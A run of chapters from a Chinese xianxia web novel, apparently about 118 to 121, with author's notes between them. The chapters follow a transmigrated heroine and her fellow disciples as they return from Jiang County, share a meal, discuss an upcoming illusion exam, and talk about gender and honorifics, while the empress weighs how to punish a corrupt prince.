乖徒弟关云铮小鸡啄米式点头,就坡下驴地找了个新话题:“灵舟的灵气来源又是什么?师父的灵气?还是法阵?符咒?” 谭一筠宕机已久的脑子终于重启了,代为答道:“应当是法阵,我感受到了,只不过法阵也需灵气消耗,章先生平日要维持着护山大阵,此时又要支撑灵舟,不会损耗过大吗?” “护山大阵是我和掌门一同支撑的,算不得我个人之功,灵舟看着大,法阵需消耗的灵气并不多,还不能令我如何。”十分狂妄的章存舒说道。 四人很给面子地异口同声道:“哇……”—— 作者有话说:今天一整天都在忙,没写到六千字,努力抢救还是没救起来,提前进审也来不及了,所以估计会有点晚。下一更我尽量多写早发[化了] 第119章 灵舟的乘坐体验有点像没有中途停靠站的高铁, 迅捷的同时还能保持平稳。几人还没在灵舟上聊几个来回,就已经抵达了镜溪城。 窗外吹进了一缕裹挟着水汽的微风,关云铮趁灵舟尚未进入护山大阵, 往外看了一眼, 被冰冷的风吹了一脸的冷雨,一时都懵了, 扭头对楚悯道:“这还是秋天吗?这都入冬了吧。” 不出归墟都快过得不知今夕何夕了, 衣服上的符文自然无法覆盖到脸,到时候冬天下山,不会还得把脸蒙上吧?她是下山偷吃好吃的,不是真要偷啊。 楚悯笑着把手帕递给她,谈笑间灵舟进入了护山大阵平稳降落,两人先后撩开船舱的帘子。 归墟自然是没有雨的, 但护山大阵并不会改变天空的样子,此刻抬头向上看去能看到雾蒙蒙的天色, 还有青镜山未被阵法覆盖之地被云雾笼罩的景象。 关云铮凑在楚悯身边说悄悄话:“镜溪城不愧是南方地界,我那边经常会说北方的冷是物理攻击, 南方的是魔法攻击。” 楚悯认真听着, 露出一点困惑的神色。 关云铮继续小声同她解释:“譬如刀剑拼杀,不动法力就是物理,动用法力就是魔法。” 楚悯恍然:“好准确。” 另外两个少年和章存舒就这样被两人抛在了脑后, 关云铮边走边又问道:“方才看你在看窗外, 是这次江县之行有什么特别之处,给了你启发?” 那时楚悯仍在思索同灯道长对三皇子说的那番话,此时坦言道:“你记得幻境中的道观吗?” 自然记得,关云铮点点头:“你们这次去了?真有行凶之人藏匿观中?” “有,我本以为同灯, 也就是那个布道的道士,他既容留纵火者,想必是知情人,大概会对幕后的三皇子也态度谦卑,多有讨好。”楚悯说道。 “结果他对三皇子什么态度?爱搭不理?”关云铮随口猜测。 谁料楚悯真就肯定道:“是,态度并不熟络,但三皇子竟也不生气。” 关云铮皱起眉头,有些搞不懂这两人到底在搞什么鬼——哦有一个已经变成鬼了不好意思,有失严谨了。 楚悯忽而想起什么似的:“对了,你说会不会是因为,那些为三皇子做事、纵火之人,曾经也是灾民出身?” 关云铮从自己的地狱笑话里回过神来:“那不是我们在幻境之中卜算出的吗?竟与现实一致?” 师父第一次去江县时究竟偷摸做了多少细节调查?怎么好像什么都知道似的? “柳相派人将其擒获后,陆大人说,这些人曾有一段时间,也来求过粥。”楚悯说道。 还真是灾民来的。 那他们帮助三皇子对另外的灾民行加害之事,动机究竟是什么?立场又变成了什么? 被害者最终变成了加害者?还是人都会因为境遇变成自己曾经讨厌的人? 亦或是,人人手持心中的圣旗,满面红光地走向罪恶?[注] 关云铮很想武断地根据三皇子表露出的那点品性,来判断跟随他之人品性的优劣,但她稍一代入,就意识到自己根本无法想象作为灾民需要承受的痛苦,顿时又说不出什么居高临下指责的话来了。 她沉默了一会儿,忽然意识到楚悯话中一直被她无意识忽略的重点:“你是怎么知道同灯对三皇子态度的?” “同灯道长在道观中开设过几日的讲经会,我与谭兄叶泯每次都去了,三皇子是在最后一日来的道观,他们……辩论了一场。”楚悯说到“辩论”时,方才那种向窗外看的神情又出现在了她的脸上,似乎是正为什么问题而感到忧心。 “辩论?”关云铮终于想起负责团队记忆这个任务的人,不对,法器被她们抛诸脑后了,转过身看向不远处的谭一筠,“谭兄,子不语还能显现同灯和三皇子的那场辩论吗?” **** 苍生道一月多以来不是少了这几个就是少了那几个,今日还是这段时间以来头一回齐聚,李演把锅铲舞得呼呼生风,看架势像是想把菜园里的所有菜都炒了。 关云铮本来还想给他打个下手,结果被李演用早就准备好的两壶奶茶和几碟水晶糕给打发了,只好和叶泯一起捧着甜食和小甜水回到餐桌边,和楚悯面面相觑。 连映走在江却之前,来得迟了些,见楚悯脑后的头发乱得不成样子,忍不住看了眼坐在一边悠闲自在的章存舒。 章存舒自觉被徒弟埋汰了,顺着视线看了眼楚悯乱得颇为风格的头发,顿时心虚起来。 他得承认自己确实没能及时注意到…… 位于视线中心的楚悯无知无觉,看向正在用眼神互扎的师徒两人,因为看不明白两人在无声打什么机锋,不由得露出些许困惑。 连映放弃跟师父斗眼神,轻轻叹了口气,从乾坤袋里摸出一把木梳,给楚悯理顺乱七八糟的头发。 楚悯一愣,瞬间感觉从被梳齿触到的皮肤开始,浑身上下哪都不自在了,在桌边僵成了一根木棍。 站在她身后的人自然感受到了她的僵硬,停下动作问道:“扯着了?” 楚悯迟滞地摇了摇头。 关云铮也凑过来笑:“怎么这么不自在?” 楚悯再次摇了摇头,没说话。 自从叔父逝世,就再没有人给她梳过头了,纵然叔父逝世并未过去多久,可这种感觉……几乎有些恍若隔世了。 但这话不能在现下这阖家欢乐的场合说起,故而楚悯只能摇头。 连映将她的头发编成了一股麻花辫,把辫尾递到她面前:“怎么样?” 楚悯终于能从那种不自在的感觉里摆脱出来,连忙点了点头:“好看,多谢师姐。” 连映又顺手摸了摸她的头发:“不客气。” 她将楚悯方才的反应轻轻揭过不提,在桌边坐了下来。 “话说这世上有厨修吗?”片刻之后,同样装作无事发生的关云铮叼着水晶糕,含混不清道。 楚悯正嚼着奶茶里的珍珠缓神,闻言茫然道:“应当没有?” 关云铮叹气:“若是真有厨修一道,李厨想必已臻化境,甩开别人好一大截了。” 毕竟他看上去是真爱做饭。 “我也觉得,真没有厨修这一说吗?”叶泯咕哝着说道,“诶这个水晶糕是哪来的?李厨山下买的?” 刚从藏书阁回来的闻越顺手牵了一块:“好像是我大哥名下那家酒楼做的,往日都是限时限量供应的,过了早上就没有了,怎么今日这个时辰了还有这么多?” 说话间厨神李演又炒完了一盘菜,端上桌时顺口解释道:“你大哥听闻你终于要潜心修炼,感动不已,特命人做的。” 靠坐在桌边的闻越一头雾水:“他从哪里听闻?我又不曾传信归家。” 再说了,他上午才画的传音符,怎么中午他哥就知道此事了? 知道此事的不也就褚老和…… 闻越手里的水晶糕掉了,他不可置信地看向一边一脸无辜的小师妹:“云崽?” 楚悯不明所以:“怎么了?” 对比章存舒黑得能漏墨的脸色,闻越的咬牙切齿显然就不真诚多了,一看就不是真的生气。故而关云铮毫无心理负担地坦白道:“我下山后先去了一趟闻家,看了看连翘,给上次的事同闻大哥道了个歉,然后寒暄着寒暄着,就自然而然说起师兄你今日灵光一现的事迹来了。” 上次的事——闻逍派去暗中观察关家的人没看管到位,让关云漪私逃后被季邕虐杀。那时闻逍显然很过意不去,但关云铮没顾上也没心情表态,此时虽已迟了许多,但她还是觉得不能缺了道歉。 至于连翘,她问过她是更想要自由但有可能无力自保的生活,还是继续维持如今的状态,虽不自由,需服侍他人,但至少温饱和安全得以保障。 让她感到有些欣慰的是,连翘并没有在想要后者但又不想让她失望的情况下表现出犹豫的模样,而是坦言她可以多待几年,有足够的积蓄后再离开,去谋求自己的生活。 于是她就放心地往江县继续飞了。 在此感谢闻大哥的水晶糕,哥门! 只是李演把第二道菜端过来时,顺手把水晶糕收了起来:“我做了这么多菜,留点肚子。” 关云铮本来也只吃了一块,闻言嚼着珍珠点了点头,也顺手拍了叶泯一下:“别吃了,饭还吃不吃了?” 叶泯恋恋不舍地把手里的水晶糕放下了。 关云铮忽然想起件正事,看向一直在无声享受奶茶的章存舒:“三皇子这个造反的死了,那恭亲王呢?我们在幻境中推断出的其他情况都属实,想必恭亲王在现实中,也是江县县令背后那个贪腐之人吧?” 章存舒仗着自己是个心智成熟的大人,喝起奶茶来肆无忌惮,根本不怕被李演指责不给饭菜留肚子,把手里第不知道多少碗奶茶喝完后才说:“这就得看陛下如何打算了。” **** 三皇子死在营帐中的同时,两日一次的朝会还没结束。 苍韫桢正听着台阶之下某位大臣的汇报,心口忽然传来一阵刺痛,毫无征兆且来势汹汹,令她不自觉皱了皱眉。 卿知现下不在朝中,没人能从她细微的动作里窥见真实的端倪,只有个别眼尖的注意到了她的神态变化,却想当然地以为是她不满意汇报的内容。 沈时安自然看清了她的神情,下意识把近日里能令陛下皱眉的朝中大事,都在脑海中翻阅了一遍:江县那边局势似乎是稳定下来了,柳相应当能平安归来;其他几个郡县的洪灾也得到了妥善处理;新的税法在平稳推进中;赈灾款的贪腐案也有了进展,只是涉案人分布之广,实在令人头痛。 难道是贪腐案?毕竟涉事其中的,不对,应该说主谋就是恭亲王,那毕竟是陛下的亲皇叔,陛下是否在忧心该如何处置此事? 临时搭建起来的营帐中不曾设置传信点,关云铮找不到自己师父,苍韫桢自然也找不到柳卿知。但洞玄毕竟同时选中了她和卿知两人,兴许是这法器的持有者之间有着某种微妙的感应,也兴许……那种心痛的感觉并不是因为卿知。 然后站在台阶下的沈时安就看到,陛下的脸色忽然更难看了。 这下任谁也不会仍看不出陛下的脸色了,原本正站着滔滔不绝的那位臣子倏地闭上了嘴,干巴巴地说道:“陛下,臣说完了。” 苍韫桢回过神来,对着他摆了摆手:“不是还有话要说?继续。” 那臣子觑着她的脸色,小心翼翼地把自己剩下的话精炼浓缩了一番,简洁无比地结束了今日的上奏。 “嗯,就这样推进,有问题随时上报。”苍韫桢点评了一句,“无事便散朝罢。” 沈时安散了朝就往偏殿赶,做了这段时间的近臣,进入时无人阻拦,她甫一进去,便看见陛下正对着一盏油灯出神。 那是盏样式十分古朴的油灯,灯座上凹凸不平,似乎刻着什么文字,灯油还有一个浅浅的底,但火已经没了,看样子甚至灭了有一段时间了。 沈时安本想喊人来给灯火续上,可看见陛下脸上的神情,顿时又不敢开口打扰了。 那是一种近乎怅然若失的神情,但那点惆怅又很微弱,在陛下察觉到有人进来后,就被她一丝不苟地收起来了。 “时安?怎么了?”苍韫桢回过头来,将那盏油灯随手放到一边。 沈时安多看了那油灯一眼,借着殿外映进来的日光,隐约看见了灯座上刻着的文字……似乎是,符文? 那灯难道是个法器? 沈时安仓促之间收回目光:“陛下为何事烦忧?” 苍韫桢对她笑了笑:“我看起来十分烦忧?” 沈时安点了点头。 苍韫桢却不再就此事继续与她谈论,突兀地提起了另一件事:“你觉得我该怎么处置恭亲王?” 被突然的发问打得猝不及防,沈时安愣了一会儿才说:“恭亲王作为贪腐案中获益最多之人,理应,理应……” “计赃定罪?”苍韫桢接上她的话茬。 沈时安无言以对,因为她知道这样的做法其实是对的,但对苍韫桢个人来说并无好处。毕竟她这皇帝的位置才坐了几年,亲皇叔贪腐,但皇室宗亲还没死光,铁腕手段处理或是高高举起轻轻放下,都会落人口舌。 苍韫桢颇为疲惫地对她再度点了点头:“既如此,你就去办吧,拿我的旨。” 沈时安还打算说些什么,却被苍韫桢不由分说地堵了回来:“朕乏了,你退下吧。” **** “这些天我们不在,你独自去学堂听课,那小子没再找你麻烦吧?”饭后师兄师姐们各有各的事要忙,留下四人继续有一口没一口地喝奶茶,叶泯忽而想起此事,看向关云铮问道。 关云铮吃撑了,靠在灶台边站着:“没有,相当老实,总感觉不太符合他的人设。” “人设?”谭一筠困惑。 关云铮现在处于一个偶尔说些稀奇古怪的现代话都不会心虚的状态,闻言也没打算改口,而是顺口把这个词解释了:“就是一个人对外展露出的模样,也可以引申为你对ta的固有印象。” 谭一筠恍然:“那确实不太符合人设了。” 没有人来找事自然是好事,但关云铮总感觉此人最近老实得过分了,平时就算不找事,经过她或是与她老远碰上时,也能看见他吹胡子瞪眼的神情,这段时间却连碰都没碰上过。 她不曾改变过去学堂的行进路线,那就是欠打的那位刻意避开了,为什么? 关云铮懒得多想,暂时搁置此事,又趁长辈们都不在对楚悯说道:“前几日掌门同我说话时试探了一番,我听他的意思,下次我们的幻境可能是专为小悯你设计的。” 楚悯错愕:“我?” “我估计其他弟子的幻境也与我们的类似,有针对四人和针对个人两种考察模式,至于考察个人的先后顺序……那就说不准了。”关云铮说道。 也没准是跟仙盟抓阄一样,按首字母排序的呢,小悯正好在第一个。 谭一筠点点头:“不过我觉得还有一种可能。”他看向楚悯,“小悯自从出了上次的幻境便一直有心事,想来是有关境界突破的事,兴许掌门和章先生是想借第二次幻境来助你一臂之力。” 说到境界突破…… 关云铮想起先前苏逢雨还让小悯去听风,如今看来想必也没有什么进展。小悯似乎更适合那种一板一眼的教学模式,而非灵感点拨型,面对后者时总会想把充满灵气的东西转变为她更了解的“死物”,思维其实是有些僵化的。 但问题在于,她虽知道小悯无法突破的关键之一在何处,但却不知道该如何破解,毕竟她自己都是稀里糊涂地突破了境界的。 “说起来,我究竟是如何能突破境界的?我觉得自己什么也没做啊。”关云铮想到这干脆开口问道。 谭一筠作为在场境界最高的人,对此事的经验稍微多一些,斟酌着说道:“以不同道心入道,修炼的方式也会存在不同,就像孩童幼时抓周,若是抓中了什么,长辈们便会在那物上多让孩子花些心思,譬如抓了字画,那字画的进益便是这人的进益,虽不完全准确,但也颇具代表性了。” 嗯,通俗易懂。譬如钢琴学者不断考级以证明自己的水平,学生们不断升学获得更高的学历,本质都是一种“境界突破”。 只不过道心这东西颇为高危,平时好的时候不见得对修炼有多少助益,一旦心念走差,道心破碎,人可能嘎巴一下就入邪魔外道了。 关云铮自觉自己尚未形成“道心”这种高大上的东西,干脆在心里将自己的境界突破概括为“只可意会不可言传”的过程,觉得是自己使用将隐的次数多了,辩证思考的时间多了,才得到了成长,从而突破了境界。 这番总结听上去很像她是以“思虑”这一类东西作为自己的道心,但她也清楚,她的所谓思虑更多是从记忆的角落刨垃圾的过程,并没有太多动脑的含金量。 总之从她自身出发为小悯解决问题这条路是行不通了,只能代入小悯的位置思考一番,缺德师父和他的师弟究竟会出一个怎样的幻境考题给他们。 “首先一定与音修有关,毕竟小悯如今是音修和卦修了,而她在卜算一道上又已经有所建树,不缺道心上的领悟,所以想必会更着重于音修的道心锤炼。”关云铮说道。 叶泯点点头:“但也不会与卜算一道完全脱离,或许是将二者互相融合的一种尝试?譬如以音律卜卦,亦或是以卦象入音?” 不愧是音修本家,这猜测就是靠谱。 楚悯若有所思,正要说话,忽然又听一旁的谭一筠说道:“不过我觉得小悯发愁的并不完全是境界突破之事,应当还有那同灯道长所说的话吧?” 叶泯与他一拍即合:“对啊,那道士一直‘天道’‘天道’地说,想来小悯应当是从中受到了启发,这才一直思虑重重的?” 关云铮顺着二人的话把目光投向楚悯。 楚悯失笑,坦言道:“我觉得你们说的都对,没什么要补上的了。” 下个幻境会为她解决如今心头的困惑,此事是由云崽从步雁山旁敲侧击的话中推敲出来的。虽然不知掌门提前透露究竟是何意,但想来他既不诓人,也不会像章先生那样说些似是而非的话,云崽的这一推测应当很可信。 至于卜算,她自己都能意识到过于依赖卜算一事,想必章先生和掌门也早就察觉,会在日后着手掰正她这个坏习惯也并不意外,全然在情理之中。 最后是音律……苏修士让她听风,她至今对此一头雾水,只知风声于不同的时间不同的天气会展露出不同的声音,但此事连不修此道之人都能说得上来,委实没什么特别。 是以下个幻境应当确乎会着手布设一个足够让她从音律中悟道的难题,难题同时也势必与卜算有所关联,至于所谓的“天道”…… 她一直疑心,自己的道心正与此有关,毕竟她就是在勘破“天道有损”的当天,成功引气入体的。 现如今,已走过的路,她要双手空空地再走一遍了—— 作者有话说:[注]人人手持心中的圣旗,满面红光地走向罪恶。——伏尔泰 第120章 楚悯三人落下了太多课业, 虽说几位先生格外宽容,放的水都快能养一池塘的鱼了,掌门也将第二次幻境考察的时间往后延了些, 但毕竟考察到底是没取消, 更不用说还极有可能是专给楚悯布设的…… 总之楚悯坐在餐桌边闲聊了没多久就焦虑地站了起来,决定去找苏修士聊聊境界突破的事。 虽也算半个音修, 但学艺不精的叶泯不敢去苏门弄琴, 只能目送着楚悯走远了。 谭一筠和关云铮对此道更是一窍不通,看着楚悯再次投身修炼,眼看着又要废寝忘食,一时之间几乎有些恍惚,觉得在江县待着似乎也不错,至少可以暂时抛下修炼的事。 可惜这想法终究不能也不该实现, 因为江县用得上他们的时刻都是生死存亡的关头。谭一筠在心里叹了口气,看向正心不在焉的关云铮:“这阵子几位先生都新讲了些什么课?” 宽口浅底的茶碗拿来喝水喝茶还行, 漏了也没事,擦干就好。要是用来喝奶茶, 但凡漏一点就沾在脸上手上衣服上, 浅褐色的污渍又黏又甜,擦不干净还存在感极为强烈。 关云铮正为此琢磨着,要不找个瓷窑给大家烧一套大小更合适的杯子, 闻言放下茶碗答道:“蒲先生那边没什么特别的, 早先那套剑招还没练熟的都大有人在,毕竟后来又来了那么些不知底细的人;练熟了的就得上前去挨打,被打得没有还手之力的就得回去继续练习剑招,每日都是这些。” 她剑招练得还算是熟,因此打也挨了不少, 这几日蒲飞鸢正打算等她周身灵脉好些了,身子骨也不那么脆了,再指点她如何在实战中判断对手的起势,以及做出相应的拆招。 不论是近身肉搏还是冷兵器打斗,关云铮都特别着迷于能预先洞察对手一切动作的未卜先知之感。譬如对面一抬手,她能在半途伸手截住攻势;对面一抖手腕,她能预先将剑尖送到敌人的喉口。 看出她跃跃欲试,昨日蒲飞鸢比划了几个剑招给她看,让她端详其中有无可破局的契机。她被炽翎的剑光晃得眼花缭乱迷迷瞪瞪,半晌过去才意识到根本没看出蒲飞鸢的剑法里有破绽。 “不够快,不论是你的手还是眼。”蒲飞鸢这样点评道。 如果要找个说法概括她如今的武学水平的话,大概就是呆板有余而灵气不足,力量尚可而轻盈甚缺吧。毕竟她到现在也没能学会轻功,从高处落地时还能勉强做个帅气的姿势,从低处却很难蹿到高处。 “至于小……掌门那边,近日多是些日常中也可运用的术法,譬如净衣咒之类。高深的偶有穿插,但大多可从御物术上举一反三,格外刁钻的倒是没有。”关云铮说到这,又问了谭一筠一句,“谭兄应该会这些日常的术法吧?不至于落下太多课业。” 净衣咒他倒确实会,但坐在一边的叶泯不会,闻言臊眉耷眼地说道:“那我落下的岂不就多了。” 关云铮压根没觉得此事是什么问题,随口道:“把掌门抓来给你开小灶不就行了。” 叶泯:“?” 他一脸茫然:“掌门……真有闲暇?” 关云铮点点头:“有啊,这两日归墟不讲学,不然今日离开这大半天,我也得去找褚老补课了,还在这说什么闲话。” 谭一筠和叶泯一起碎了。 还以为云铮真的是担心他们的安危才从归墟赶往江县,竟然只是因为不必修炼,闲得没事做才去的? 他俩受伤的神情不似作伪,真切得若有实感,关云铮被逗笑了,十分缺德地说:“我说玩笑话呢,你们还真信了?我当然是因为没收到你们的回信才去的江县啊,只不过归墟恰好这两日没课罢了。” 叶泯:“……” 谭一筠失语片刻:“云铮从上次的幻境出来后,似乎真的变了很多。” 关云铮做出若有所思状,思考了一番他的话,又站起身意味深长地拍了拍他的肩,嘴上说道:“主要是变缺德了,你们当心别被我坑了。” 她把喝干净的茶碗拿去水边,又同李演说了说自己烧瓷的计划。 李演刚忙完准备下山溜达溜达,听她这话一脸诧异:“你还会烧瓷?” “见过别人烧,记得流程,不知能不能烧出来。”21世纪那会儿就爱看点手艺人vlog来着。 现如今将隐受到的限制随着她境界的提升变少,能回溯的记忆深度和清晰度都得到了提升,具体表现为她最近几日发呆不是想到了过往尴尬的事迹,就是想到了吉光片羽般的往昔学习记忆。 感谢大脑,没有第一时间给她回溯排列组合等差数列求和公式不等式函数求导这些倒胃口的东西,而是给她亮出了一大页的——待点亮技能树。 索性今日暂且无事,不如就去镜溪城看看,能不能点亮“烧瓷”这一技能吧。 *** “下次幻境考察应当在十日后。原本确实就在这几日,不过按照原计划,你们考完这一次后,再下个月就得各回各家,没有考察,这月的考察延后一些倒也无可厚非。”苏逢雨语气不冷不热地说道,但楚悯无端觉得,她的心情似乎还不错。 “若是步雁山不曾诓你,幻境确实是针对你当下的困境而设立,我觉得你现下便不必着急境界突破一事,专心筹备幻境考察便好。”苏逢雨继续说道,“毕竟在幻境中,你清醒的那部分意识将被幻境的法则压制,在此种情况下,若你仍能开悟,那才是真的悟了。” 苏逢雨给自己倒了一杯热茶:“若是你现在执意要突破,那不过也是给自己设下限制罢了。有时修炼一事上不必太过清醒,既然能在环境中解决的问题,何苦在清醒时反复折磨?再说了,太过清醒之人又怎么会相信这世上有神仙的存在,还修个什么仙?”苏逢雨嗤笑一声,语气懒散地说道。 楚悯时常因为苏修士的言辞太过锋利,而找不到合适的措辞来接话。 好在苏修士话里的锋利一般不是对人的,没等楚悯想出该如何接话,便听她接着说道:“宽心,在幻境之前铆足精神努力自然会有所突破,但这就像入睡前思考一样,醒来时多半都记不清楚。我听章存舒的意思,这次幻境中会加重暗示,让你们无法察觉幻境的存在,只有解了他为你们设下的谜题,才能从中脱困。” “而你的困境多半是心里没转过那个弯造成的,入幻境之前想通了,入幻境之后若是被篡改,该如何?岂不白费力气?”苏逢雨给她也倒了杯茶,“不过步雁山也真是,竟然就由着章存舒这样布置幻境?” 总算有了能接上的话题,楚悯琢磨着说道:“章先生应当只是负责我们四个的幻境,同窗们的幻境自然还是掌门布设的。” 也对,这样才比较符合章存舒的秉性,对自己人和外人的态度泾渭分明,看似不靠谱实则会安排好弟子们生活与修炼中的多数事。 苏家是个根系盘根错节的大家族,直系旁系、长幼尊卑,严明得让人喘不上气。听闻章存舒的出身也同苏家差不多,如今的家业仍在朝安,却被他日渐年迈的父亲交给了一个外姓人打理,倒是……想得挺明白的。 不像她爹,到处厮混依旧生不出儿子,豁出老脸也要从宗族里过继一个。哪怕她成了闻名天下的琴修,也不能代表苏家那高贵的斫琴技艺,非得找个男人继承所谓的家业。 也真是奇了,原来还有什么事情是必须有胯||下那二两肉才能办到的,既如此,怎么没见每个男人都成就了一番伟业? 倒是仗着这东西作恶的更多些。 “又在想什么?看着像要去杀人了。”蒲飞鸢无奈的声音传来。 苏逢雨回过神,才发现不知何时楚悯已经拿着琴谱和茶到一边去用功了,坐在她身边的成了蒲飞鸢。 “你今日下午不是有课?” 蒲飞鸢笑着叹了口气:“我的小雨啊,你要不看看现下什么时辰了?” 苏逢雨抬起头,一大片被烧得通红的云映入眼帘。 “小悯。”被这么一提醒,她后知后觉地转向角落里窝着的学生,“该回去吃饭了。” 楚悯这才从琴谱中回过神来,下意识抬头,也看了一眼天色,随后捧着东西起身告辞:“弟子告退,多谢苏修士指点。” **** 最开始苏逢雨给楚悯上课时,都是到时间了按时来到楚悯院中,所以楚悯一度很好奇苏修士究竟住在归墟何处。 后来同章先生问起此事才得知,苏修士那段时间不常住在归墟,经常去山下的客栈住,具体原因……章先生没说。 前阵子不知究竟发生了些什么,苏修士忽然打算在归墟久住了,是以从那时起,到了上课的时间,都是楚悯抱着琴拿着琴谱,从自己的院子出发来找她。 苏修士住的地方是个偏僻的角落,与接受集中教习的弟子们所住寝舍不在同一处,不是芥子,而是个和苍生道院差不多构造的小院。 她刚住下时蒲先生就来过,扬言要让步雁山和章存舒也给自己安排个这样的院子,只不过那时楚悯一日的课业已经结束,没听到下文便先行离开了。 方才她对着琴谱出神,没注意到蒲先生的到来,听见两人说话声才反应过来,想要先告辞时已经晚了一步,听见了那句“我的小雨”。 楚悯把月下逢收回乾坤袋里,看见不远处正在原地晃来晃去的关云铮,忍不住笑了笑:“云崽。” 关云铮小跑几步:“我方才看见蒲先生翻墙进去了。” 楚悯露出疑惑的神情:“翻墙?” 关云铮与她并肩而行:“难道我看错了?她不是去找苏修士的?” “确实是去找苏修士的,不过那时我在走神,没注意到蒲先生是如何进来的。”楚悯如实说道,“回神时正听见蒲先生叫苏修士的名字,她们究竟是何时和好的?” 关云铮高深莫测地一挑眉,没说话。 兴许是苏修士短暂地原谅了直女吧。 楚悯虽仍旧担心境界突破和幻境考察的事,但到底是把苏逢雨的话听进去了,没再纠结,干脆顺着这个轻松些的话题继续说道:“先生这个称呼,在你那时,依旧是尊称吗?” 怎么一发问就正中靶心。 关云铮叹为观止:“这问题……我有点不敢说。” 楚悯一愣:“这是不能说的?” 关云铮被她小动物一样的神情逗笑了,发觉楚悯日常生活中卜算之外的时刻其实有些天然呆:“先生在我那时依旧是尊称,只是随着时代的变迁,更多时候被用来称呼男人而非女人,所以……” 楚悯明白她方才脸上的“叹为观止”是什么意思了:“那岂不是同苏修士那时与蒲先生争论的一般无二?” 是啊,所以她才会那么多次地怀疑这个世界是某个人创作的,而苏逢雨是作者意识的一部分。因为这思想在一个古代人,甚至修士身上,还是太超前了。 但这样的猜测无疑又抹杀了苏逢雨作为一个活生生的人,思想的独特性和前瞻性,仿佛她非得是个什么现代背景才能得出这样的思考,仿佛现代跟古代对比很了不起似的。 实际是从现代穿越过来的每一天,她都觉得现代很多时候在咀嚼古代留下的糟粕,而千百年来,岁月凝练出的精华已经在不断的文化变迁中,被网眼巨大的筛子筛去了。 更荒谬的是,古代文化中的精华就像必须以某种形式服用的药剂,譬如片剂或是胶囊。现代的某些人却非要把片剂碾碎,把胶囊掰开倒出里面的粉末,于是良药变成了要人命的剧毒,精华变成了糟粕,而做出这一切的人们还会理所当然地说:“嫡庶和冠夫姓本来就是古代一直有的东西啊。” 关云铮叹了口气,想起自己围观过的无数场互联网骂战,一股久违的疲惫感涌上心头:“我那时,有很多人都会在这样的称呼上与人争执,起先我还会觉得,这是在为女人谋求正当的利益,可时间久了,另一种言论逐渐让我犹疑不定。” 楚悯的目光看向她。 “如果我们发自内心地将自己放在与男人同等的地位,那么尊称是我们应得的,许多事情是不需要总挂在嘴边,进行所谓‘抗争’的。” 这也就是所谓的主体性与客体性的话题。社会默认的主体是很少被“要求”的,因为他们做什么都能得到谅解,而作为客体的女性则始终被社会束上各种形式的枷锁。 爱漂亮变成了“服美役”,变成了“取悦男人”;减肥追求更瘦变成了“畸形审美”;甚至连穿粉色的衣服都成了“媚男”。 “倒不是说抗争是全无意义的,抗争当然有其意义,但很多人只是嘴上喊得大声,实际从未付出过行动,只是像见到了某些字眼,就会被激发特殊反应的应声虫。” “更可笑的是,”关云铮叹了口气,“很多嘴上喊着‘将属于女人的称呼还给女人’的人,如果去翻看一番过往言论,会发现这部分人没少攻讦女人,而她们也是女人。” 喊着“把妹妹这样的女性称呼还给女性”的人,平台ID却叫腐癌姐死全家,这难道不是一件很可笑的事吗? 如果上网检索,发现多数“服美役”“媚男”这样的字眼,更多地出现在注册信息为女性的用户口中,这难道不也是一件很可笑的事吗? 如果嘴上喊着守护群体的利益,而实际却在干着伤害群体内部个体的行为,这样的守护也是值得称道的吗? “我们”要的究竟是什么样的自由?是不管做什么都有人指指点点但“我”不在乎的自由?还是不管“我”不做什么都没有人会横插一嘴的自由? 楚悯仿佛从她的话里窥见了一丝另一个世界激烈言论的端倪,一时沉默着没有再开口,过了片刻才说:“那苏修士彼时说出那些话……” 你又是怎么想的? 关云铮是个尚未脱离低级趣味的乐子人,在苏逢雨和蒲飞鸢两人的事上,只想嗑点无伤大雅的cp,不想讨论苦大仇深的话题。 但她面对楚悯还是坦言说道:“苏修士的爱恨……很具体,她爱的是有名有姓的人,恨的是罪行昭彰的人,她也在践行自己说的话,因此我没什么好说的。” 苏逢雨的爱恨在关云铮看来跟性别没什么关系,只是恰好她碰到的烂人在某个性别群体中,出现的概率格外大而已。只能说还好现在是古代,不然苏逢雨大概会从琴师变成拳师吧。 楚悯自觉这个问题很是令人不快,正要说点什么弥补,就听关云铮又说道:“我在原本世界的躯体,大约是已经死了的,在初来此地的那段时间,我一直想着若是有一天我必须回去,会怎么样。” 楚悯被她那句“死了”吓了一跳,手里的琴谱被她抓得在风中哗啦作响。 关云铮的神色很坦然:“现在想想,希望我能够不用回去吧。毕竟我真的死了的话,回去了也不会对那边产生什么新的影响,见到父母不为我伤心,我自然伤心;可见到他们为我伤心,我恐怕更要难过,还是留在此地为好。” 留在这里,多少能做点什么,不管是为了她自己还是原身,亦或是为了这些关心她在乎她的人。 好吧,她得承认,这些冠冕堂皇的措辞只是她不想面对现实的借口,她是个时常心口不一的虚伪小人,但好在还有十分的勇气去坦荡地承认。 只是希望那个让她来到此世的缺德神仙此时听见了她的心声,不要一时兴起,又把她遣返回原来的世界—— 作者有话说:写完了干脆发了[墨镜] 120-130 第121章 聊了太多沉重的话题, 关云铮自觉重新起了个话头:“对了,我方才下山碰见了殷姐姐,她给了我一副义甲, 让我转交给你。” 楚悯看她从怀里摸出一套骨质义甲, 嘴上便顺着她的话说道:“倒是许久不曾见到她了。”她原本觉得自己走得很慢,但如今提起殷含绮, 发觉上一次与她会面已是两月前的事了, 这才意识到原来自己走了挺远的路,看着那副义甲的目光一时都悠远起来。 关云铮乾坤袋里的物件越来越多,摸出义甲后又理了一番,才把东西递给楚悯:“之前同她道别之时,她不是给了我一些丝线,告诉我烧毁后能给她传信吗?”她脸色略带愧疚, “我没想到那物件还有示警作用,受伤的时候她也感知到了。” 换做是旁的什么人, 恐怕会第一时间觉得殷含绮作为鬼灯楼的邪修,给正派弟子送出这种东西的目的是监视, 居心定然不良。 但关云铮的想法显然与很多人都不同, 她对人的评价不受他人言论的影响,看似全凭自己的好恶,同被名门正派喊打喊杀的邪修也能和谐相处。 楚悯不打算对她的交友进行干涉, 只是希望殷含绮能一直做个不那么邪的邪修, 不要做出无法挽回、不可饶恕的事,免得云崽到时候要做出抉择,不可避免地会伤心。 那丝线……示警便示警吧,好歹也算一种对云崽的提醒,省得她未来又忘记还有多少人关心自己, 下起决心来不要命。 楚悯完全没意识到自己又在操心这个年纪不该操心的事,只听云崽在她旁边叽里咕噜地说道:“我那时也有人学古琴,不过那时候的琴弦都是钢弦,很硬,大家非得缠点什么在指尖,或者戴上义甲才能减少琴弦对手的损害,现今的琴,琴弦多是丝质的,似乎也用不上义甲。” 还没等楚悯回话,她便又继续嘀咕道:“不过殷姐姐说,追求音质上乘的话,义甲确实有些助力,所以我还是收下了,你到时试试好不好用,不好用就悄悄不戴了。” 